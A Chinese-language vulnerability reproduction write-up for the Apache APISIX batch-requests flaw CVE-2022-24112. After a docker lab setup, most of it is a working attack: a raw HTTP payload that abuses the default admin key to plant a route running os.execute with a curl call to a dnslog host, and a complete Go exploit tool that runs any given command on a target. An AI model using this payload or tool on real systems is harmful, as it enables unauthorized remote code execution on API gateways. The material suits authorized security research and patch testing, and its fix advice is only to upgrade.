Apache Apisix(CVE-2022-24112)漏洞复现
漏洞介绍
Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。
漏洞危害
RCE
漏洞原理
Apache APISIX 中存在安全漏洞,该漏洞源于产品的 batch-requests 插件未对用户的批处理请求进行有效限制。攻击者可通过该漏洞绕过Admin Api 的限制。 以下产品及版本受到影响:Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 ),Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本 (不包含 2.10.4)。
环境搭建
根据 Apache Apisix上的手册搭建测试环境,修改 docker-compose.yml 内容如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version: "3"
services:
apisix:
image: apache/apisix:2.12.1-alpine
restart: always
volumes:
- ./apisix_log:/usr/local/apisix/logs
- ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
depends_on:
- etcd
##network_mode: host
ports:
- "9080:9080/tcp"
- "9091:9091/tcp"
- "9443:9443/tcp"
- "9092:9092/tcp"
networks:
apisix:
etcd:
image: bitnami/etcd:3.4.15
restart: always
volumes:
- etcd_data:/bitnami/etcd
environment:
ETCD_ENABLE_V2: "true"
ALLOW_NONE_AUTHENTICATION: "yes"
ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
ports:
- "2379:2379/tcp"
networks:
apisix:
networks:
apisix:
driver: bridge
volumes:
etcd_data:
driver: local
之后开启 batch-requests 插件,即在 /example/apisix_conf/config.yaml 文件末尾添加:
1
2
plugins:
- batch-requests
之后执行命令:docker-compose up -d 构建环境。
| 计算机 | IP |
|---|---|
| Kali | 192.168.174.128 |
| Ubuntu | 192.168.174.141 |
| Victim(Docker) | 192.168.80.2 |
等待一段时间,访问http://192.168.80.2:9080/即可看到一个 404 页面,说明 apisix 服务已成功启动。
漏洞复现
根据入门手册上的内容可以知道,Apache APISIX 提供了强大的 Admin API 和 Dashboard 可供我们使用,不过在构建应用时将 Dashboard 去掉了,所以在本文中,我们使用 Admin API 来做演示。
它的工作原理是通过创建一个 Route 并与上游服务(通常也被称为 Upstream 或后端服务)绑定,当一个 请求(Request) 到达 Apache APISIX 时,Apache APISIX 就会明白这个请求应该转发到哪个上游服务中。
所以大致步骤分为:
- 创建路由
- 绑定路由和上游服务
不过,batch-requests 插件可以一次接受多个请求并以 http pipeline 的方式在网关发起多个 http 请求,合并结果后再返回客户端,这在客户端需要访问多个接口时可以显著地提升请求性能。
因此合并发的包为:
1
2
3
4
5
6
7
8
POST /apisix/batch-requests HTTP/1.1
Host: 192.168.80.2:9080
User-Agent: Go-http-client/1.1
Content-Length: 450
Accept-Encoding: gzip, deflate
Connection: close
{"headers":{"Content-Type":"application/json", "X-REAL-IP": "127.0.0.1"}, "timeout": 500, "pipeline":[{"method": "PUT", "path": "/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/isok\", \r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl http://mhyet2.dnslog.cn'); return true end\"}"}]}
之后访问 http://81.71.7.8:9080/isok 即可执行命令。
漏洞验证
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package main
import (
"bytes"
"flag"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"strings"
"time"
)
const (
admin_key = "edd1c9f034335f136f87ad84b625c8f1"
real_ip = "127.0.0.1"
route_path = "/apisix/admin/routes/index?api_key=" + admin_key
)
func usage() {
fmt.Fprintln(os.Stderr, `Usage: cve-2022-24112 -t [target] -c [command]`)
}
func check(err error) {
if err != nil {
log.Fatalln(err)
}
}
func genReqBody(cmd string, exec_path string) string {
payload := fmt.Sprintf("{\"headers\":{\"Content-Type\":\"application/json\", \"X-REAL-IP\": \"%s\"}, \"timeout\": 500, \"pipeline\":[{\"method\": \"PUT\", \"path\": \"%s\", \"body\":\"{\\r\\n \\\"name\\\": \\\"test\\\", \\\"method\\\": [\\\"GET\\\"],\\r\\n \\\"uri\\\": \\\"%s\\\", \\r\\n \\\"upstream\\\":{\\\"type\\\":\\\"roundrobin\\\",\\\"nodes\\\":{\\\"httpbin.org:80\\\":1}}\\r\\n,\\r\\n\\\"filter_func\\\": \\\"function(vars) os.execute('%s'); return true end\\\"}\"}]}", real_ip, route_path, exec_path, cmd)
return payload
}
func registerRoute(url string, reqBody string) string {
url = url + "/apisix/batch-requests"
jasonPayload := []byte(reqBody)
req, err := http.NewRequest("POST", url, bytes.NewBuffer(jasonPayload))
check(err)
client := &http.Client{}
resp, err := client.Do(req)
check(err)
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
check(err)
return string(body)
}
func exploit(url string, reqBody string, path string) {
resp := registerRoute(url, reqBody)
if strings.Contains(resp, "\"reason\":\"OK\"") {
fmt.Println("successfully registered route")
time.Sleep(time.Second * 2)
fmt.Println("execute command.")
invoke(url + path)
} else {
fmt.Println("failed")
}
}
func invoke(url string) {
resp, err := http.Get(url)
check(err)
body, err := ioutil.ReadAll(resp.Body)
check(err)
fmt.Println("output >>", string(body))
}
func main() {
var (
t string
c string
)
flag.StringVar(&t, "t", "", "")
flag.StringVar(&c, "c", "", "")
flag.Usage = usage
flag.Parse()
if len(t) == 0 || len(c) == 0 {
usage()
os.Exit(1)
}
// os.Setenv("HTTP_PROXY", "127.0.0.1:8080")
path := "/isok"
body := genReqBody(c, path)
exploit(t, body, path)
}
修复建议
升级最新版本。

